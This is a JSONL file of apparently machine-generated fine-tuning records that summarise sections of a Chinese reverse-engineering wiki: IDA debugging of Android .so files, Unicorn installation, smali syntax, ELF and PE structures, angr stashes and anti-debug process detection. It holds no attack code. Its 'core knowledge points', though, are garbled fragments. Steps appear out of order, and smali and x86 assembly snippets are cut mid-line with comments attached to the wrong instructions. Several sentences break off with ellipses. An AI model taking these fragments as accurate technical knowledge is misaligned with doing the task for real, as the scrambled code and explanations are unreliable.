{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-8767645cf69a41dac5b9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「so原生程序调试」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：IDA 动态调试原生层程序 > so原生程序调试\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“so原生程序调试”展开。\n- 这里我们以 http://www.52pojie.cn/thread-554068-1-1.html 中的 debugjniso.apk 为例子。\n- 一般来说，android 中 so 文件都是依赖于 apk 文件的。\n- 对于 so 原生程序，我们可能会想这和普通原生程序有什么不一样的地方呢？\n- 一般是其它程序调用 so 文件中的基本某些函数。\n- 所以这里我们就不能直接采用上面 run 的方式了。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 238, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "so原生程序调试", "heading_path": ["IDA 动态调试原生层程序", "so原生程序调试"], "original_id": "docs-e54801807034c3b3fbd2", "original_line": 82, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "23180091395b5cd078f62ab7", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "android", "basic-reverse", "dynamic", "ida-native-debug.md"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-888cd27208780304fb33", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/unicorn.md` 中的章节「如何安装」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/unicorn.md`\n标题：Unicorn Engine\n章节：Unicorn Engine > 如何安装\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“如何安装”展开。\n- 安装Unicorn最简单的方式就是使用pip安装, 只要在命令行中运行以下命令即可(这是适合于喜爱用python的用户的安装方法, 对于那些想要使用C的用户, 则需要去官网查看文档编译源码包):\n- 但如果你想用源代码进行本地编译的话, 你需要在下载页面中下载源代码包, 然后可以按照以下命令执行:\n- `` shell $ cd bindings/python $ sudo make install ``\n- `` shell cd bindings/python python setup.py install ``\n- 对于Windows, 在执行完上述命令后, 还需要将下载页面的Windows core engine的所有dll文件复制到C:\\locationtopython\\Lib\\site-packages\\unicorn位置处.\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- unicorn.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `但如果你想用源代码进行本地编译的话, 你需要在[下载](http://www.unicorn-engine.org/download/)页面中下载源代码包, 然后可以按照以下命令执行:`\n- plain: 1 行，首行 `* Windows平台用户`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 527, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "如何安装", "heading_path": ["Unicorn Engine", "如何安装"], "original_id": "docs-196bed035013db0c459a", "original_line": 1573, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/unicorn.md", "source_root": "docs", "source_sha256": "712f67f78fd5fe934747369e028d14a97c9d16cbe2949353ea3af2e3a6446994", "split": "train", "split_group_key": "0b858737f6763f4343b6afd4", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "unicorn.md"], "title": "Unicorn Engine"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/unicorn.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-8969d09a1fbe99f88ed9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「try-catch-finally」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 异常指令 > try-catch-finally\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“try-catch-finally”展开。\n- ` 其对应的smali代码如下 `smali const/16 v0, 0xa :try_start_0 # try 块开始 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;\n- 当我们同时使用catch与finally时，如下 ``java int a = 10;\n- >callSomeMethod()V :try_end_0 # try 块结束 .catch Ljava/lang/Exception;\n- } catch (Exception e) { a = 1;\n- {:try_start_0 .. :try_end_0} :catch_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 const/4 v0, 0x0 # 复制一份到外面 :goto_0 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 10 行，首行 `int a = 10;`\n- smali: 19 行，首行 `const/16 v0, 0xa`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 765, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "try-catch-finally", "heading_path": ["interfaces", "执行语句", "具体指令", "异常指令", "try-catch-finally"], "original_id": "docs-323aed8c4e7bcf2ec196", "original_line": 64, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "f92c4c015845430e56409b59", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-8a62e41bafd94c454a14", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/vm/vm.md` 中的章节「获取用户输入」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/vm/vm.md`\n标题：虚拟机分析\n章节：虚拟机分析 > 获取用户输入\n路径分类：reverse / reverse/vm/vm.md\n分块：1/1\n\n核心知识点：\n- 那么我们就可以从这里入手. 程序想获取用户输入, 需要调用的一个API是GetDlgItemTextA() `` c UINT GetDlgItemTextA( HWND hDlg, int nIDDlgItem, LPSTR lpString, int cchMax );\n- ` 获取的输入字符串会保存在lpString里. 那么我们就可以打开IDA查找有交叉引用GetDlgItemTextA()的地方.\n- ` asm .text:00401142 push 0Ch ;\n- cchMax .text:00401144 push offset inputName ;\n- nIDDlgItem .text:0040114E push [ebp+hWnd] ;\n- hDlg .text:00401151 call GetDlgItemTextA .text:00401156 push 0Ch ;\n\n关键术语：\n- reverse\n- vm\n- vm.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `获取的输入字符串会保存在`lpString`里. 那么我们就可以打开IDA查找有交叉引用`GetDlgItemTextA()`的地方.`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 948, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "获取用户输入", "heading_path": ["虚拟机分析", "获取用户输入"], "original_id": "docs-b0770f39abd2c54808e1", "original_line": 1580, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "source_root": "docs", "source_sha256": "49dd1218224f91698e8278961fe4a83f27c1af4393baa73434f368d1c1baf321", "split": "train", "split_group_key": "be8332ea2ad233b257c06cb5", "subcategory": "reverse/vm/vm.md", "terms": ["reverse", "vm", "vm.md"], "title": "虚拟机分析"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-8cc8952ae9e1eb42cdf7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「sh_type」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Section Header Table > 部分节头字段 > sh_type\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“sh_type”展开。\n- 因此，目标文件也可以包含一个 SHT_DYNSYM 节区，其中保存动态链接符号的一个最小集合，以节省空间。\n- 节类型目前有下列可选范围，其中 SHT 是Section Header Table 的简写。\n- | 名称 | 取值 | 说明 | | ------------ | ---------- | ---------------------------------------- | | SHT_NULL | 0 | 该类型节区是非活动的，这种类型的节头中的其它成员取值无意义。\n- | | SHT_PROGBITS | 1 | 该类型节区包含程序定义的信息，它的格式和含义都由程序来决定。\n- | | SHT_SYMTAB | 2 | 该类型节区包含一个符号表（SYMbol TABle）。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1381, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "sh_type", "heading_path": ["ELF 文件", "Section Header Table", "部分节头字段", "sh_type"], "original_id": "docs-995ffb2a53fab291d9ae", "original_line": 25, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "92e1f167c2dd7a21d48076d5", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-8f1fd6642f9b19360566", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-export-table.md` 中的章节「EAT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-export-table.md`\n标题：导出表\n章节：导出表 > EAT\n路径分类：executable / executable/pe/pe-export-table.md\n分块：1/1\n\n核心知识点：\n- 5. 接着利用 AddressOfFunctions 成员定位到导出函数地址数组，即 Export Address Table(EAT)；\n- 文件: figure/pe4-eatstrings.png \"图 10 - 导出表字符串部分\"] 导出函数获取函数地址的过程大致如下： 1. 首先利用 AddressOfNames 成员定位到导出函数名称数组；\n- 对于少见的没有名称的导出函数，利用 Ordinal 成员减去 Base 得到的值作为索引值，在导出函数地址数组中定位对应的函数地址。\n- 3. 接着利用 AddressOfOrdinals 成员定位到导出函数序号数组；\n- 但 PE 文件可以有多个 IMAGE_IMPORT_DESCRIPTOR 结构体，因为 PE 文件可以一次导入多个库。\n- 示例选取的是 Windows 系统中的 version.dll，该文件位于 C:\\Windows\\SysWOW64\\ 目录下。\n\n关键术语：\n- 漏洞利用\n- executable\n- pe\n- pe-export-table.md\n- code:c\n- code:text\n\n代码/命令片段线索：\n- c: 13 行，首行 `typedef struct _IMAGE_EXPORT_DIRECTORY{`\n- text: 15 行，首行 `// 示例程序 IMAGE_EXPORT_DIRECTORY`\n- text: 20 行，首行 `RVA Address Name Ordinal Description`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 3612, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "EAT", "heading_path": ["导出表", "EAT"], "original_id": "docs-0439b28e6aae29e32e13", "original_line": 499, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-export-table.md", "source_root": "docs", "source_sha256": "6f6ff74b83aa9e1a229cf1c25278162b59d54b4794cbbb0ff4de370ad0bc4edd", "split": "train", "split_group_key": "a5225b705f6f7b5e9c112ad8", "subcategory": "executable/pe/pe-export-table.md", "terms": ["漏洞利用", "executable", "pe", "pe-export-table.md", "code:c", "code:text"], "title": "导出表"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-export-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-908ba44ffa70d20809ed", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「.dynamic」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/dynamic-sections.md`\n标题：Dynamic Sections\n章节：Dynamic Sections > .dynamic\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.dynamic”展开。\n- 这个表项的优先权高于延迟绑定，可以通过环境变量或者dlopen(BA_LIB)来设置。\n- | | DT_NEEDED | 1 | d_val | 可选 | 可选 | 包含以NULL 结尾的字符串的字符串表偏移，该字符串给出某个需要的库的名称。\n- 如果存在的话，则可能存在若干重定位项请求对不可写段进行修改，因此，动态链接器可以做相应的准备。\n- | | DT_BIND_NOW | 24 | 忽略 | 可选 | 可选 | 如果可执行文件或者共享目标文件中存在此类型的表项的话，动态链接器在将控制权转交给程序前，应该将该文件的所有需要重定位的地址都进行重定位。\n- 此外，除了数组末尾的 DT_NULL 元素以及 DT_NEEDED 元素的相对顺序约束以外， 其他表项可以以任意顺序出现。\n\n关键术语：\n- executable\n- elf\n- structure\n- dynamic-sections.md\n- code:c\n\n代码/命令片段线索：\n- c: 11 行，首行 `/* Dynamic section entry. */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 3738, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": ".dynamic", "heading_path": ["Dynamic Sections", ".dynamic"], "original_id": "docs-8e09d8f052eef425c7b9", "original_line": 474, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "source_root": "docs", "source_sha256": "c293a7a3833b5bc0c2bb5e2fdd32acdf739452a114134eba71693dd5b6a01f8b", "split": "train", "split_group_key": "b99c847c91636a54f09534d8", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "dynamic-sections.md", "code:c"], "title": "Dynamic Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-91b1b18344a996be841c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「stash 类型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：method 2 > stash > stash 类型\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stash 类型”展开。\n- 在指定了 LAZY_SOLVES 时，状态仅在必要时检查可满足性，当一个状态在指定了 LAZY_SOLVES 时被发现是不可满足的（unsat），状态层（state hierarchy）将会被遍历以确认在其历史中最初变为不满足的时间，该点及其所有后代都会被 _剪枝_ （pruned）并放入该列表 - simgr.unconstrained：不受约束的状态列表。\n- 当创建 SimulationManager 时指定了 save_unconstrained=True，则被认为不受约束的（unconstrained，即指令指针被用户数据或其他来源的符号化数据控制）状态会被归入该列表 - simgr.unsat：不可满足的状态列表。\n- 当创建 SimulationManager 时指定了 save_unsat=True，则被认为无法被满足的（unsatisfiable，即存在约束冲突的状态，例如在同一时刻要求输入既是\"AAAA\" 又是 \"BBBB\"）状态会被归入该列表 还有一种不是 stash 的状态列表——errored，若在执行中产生了错误，则状态与其产生的错误会被包裹在一个 ErrorRecord 实例中（可通过 record.state 与 record.error 访问），该 record 会被插入到 errored 中，我们可以...\n- 在 angr 当中一共有以下几种 stash： - simgr.active：活跃的状态列表。\n- 在未指定替代的情况下会被模拟器默认执行 - simgr.deadended：死亡的状态列表。\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 825, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "stash 类型", "heading_path": ["method 2", "stash", "stash 类型"], "original_id": "docs-4dc50af1f5652e5139f9", "original_line": 1569, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "b521a2cf21cc96a5fdc5aca5", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-96a880b63b0d6381dd3b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「检测进程名」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > 检测进程名\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测进程名”展开。\n- 这里通过执行sub_401130()函数来检测进程, 并根据检测到的不同进程, 返回相应的值.\n- API: CreateToolhelp32Snapshot()检测进程 if ( v11 == 1 ) { printf(\"But detected Ollydbg.\\n\");\n- } if ( v11 == 2 ) { printf(\"But detected ImmunityDebugger.\\n\");\n- } if ( v11 == 3 ) { printf(\"But detected IDA.\\n\");\n- } if ( v11 == 4 ) { printf(\"But detected WireShark.\\n\");\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `我们就来看一下`sub_401130()`函数`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1120, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "检测进程名", "heading_path": ["反调试技术例题", "检测进程名"], "original_id": "docs-18218528a45e03449e87", "original_line": 1511, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "d8bddb6e88b672c52715335f", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-975ba1aecea786b4b953", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「寄存器命名规则」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：Smali > 声明语句 > 寄存器 > 寄存器命名规则\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寄存器命名规则”展开。\n- 在 smali 中，一般有两种命名规则 - v 命名法 - p 命名法 假设方法申请了 m+n 个寄存器，其中局部变量占 m 个寄存器，参数占 n 个寄存器，对于不同的命名规则，其相应的命名如下 | 属性 | v命名法 | p命名法 | | :------: | :-----------------------: | :-------------------: | | 局部变量 | $v_0,v_1,...,v_{m-1}$ | $v_0,v_1,...,v_{m-1}$ | | 函数参数 | $v_m,v_...\n- 而这其实也就是 smali 语法中常见的寄存器命名规则，p 开头的寄存器都是参数寄存器，v 开头的寄存器都是局部变量寄存器，两者的数量之和为方法申请的寄存器数量。\n- 一个方法所申请的寄存器会分配给函数方法的参数 (parameter) 以及局部变量 (local variable) 。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 502, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "寄存器命名规则", "heading_path": ["Smali", "声明语句", "寄存器", "寄存器命名规则"], "original_id": "docs-468c9c311ee0775d8291", "original_line": 41, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "c98a3936252a8e4318deb89b", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-980094cc50721c08e7b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「基本原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：Symbol Resolution > 基本原理\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本原理”展开。\n- 链接器在处理目标文件时，需要对目标文件中的某些位置进行重定位，即将符号指向恰当的位置，确保程序正常执行。\n- 在 ELF 文件中，对于每一个需要重定位的 ELF 节都有对应的重定位表，比如说 .text 节如果需要重定位，那么其对应的重定位表通常为 .rel.text 。\n- 文件: figure/image-20201029230806649-7093160.png] 总的来说，plt 表项主要进行了如下的函数调用来解析目标函数 ``c _dl_runtime_resolve(link_map_obj, reloc_index) ``\n- 举个例子，当一个程序导入某个函数时，.dynstr 就会包含对应函数名称的字符串，.dynsym 中就会包含一个具有相应名称的符号（Elf_Sym），在 .rel.plt 中就会包含一个指向这个符号的的重定位表项。\n- 即，这几者之间的引用关系是 [图片: image-20201029230806649;\n\n关键术语：\n- executable\n- elf\n- linking\n- symbol-resolve.md\n- code:c\n\n代码/命令片段线索：\n- c: 1 行，首行 `_dl_runtime_resolve(link_map_obj, reloc_index)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 469, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "基本原理", "heading_path": ["Symbol Resolution", "基本原理"], "original_id": "docs-36208e5c8fc7bd768b00", "original_line": 447, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "b971c81bb14e2a71def0fbda", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "symbol-resolve.md", "code:c"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
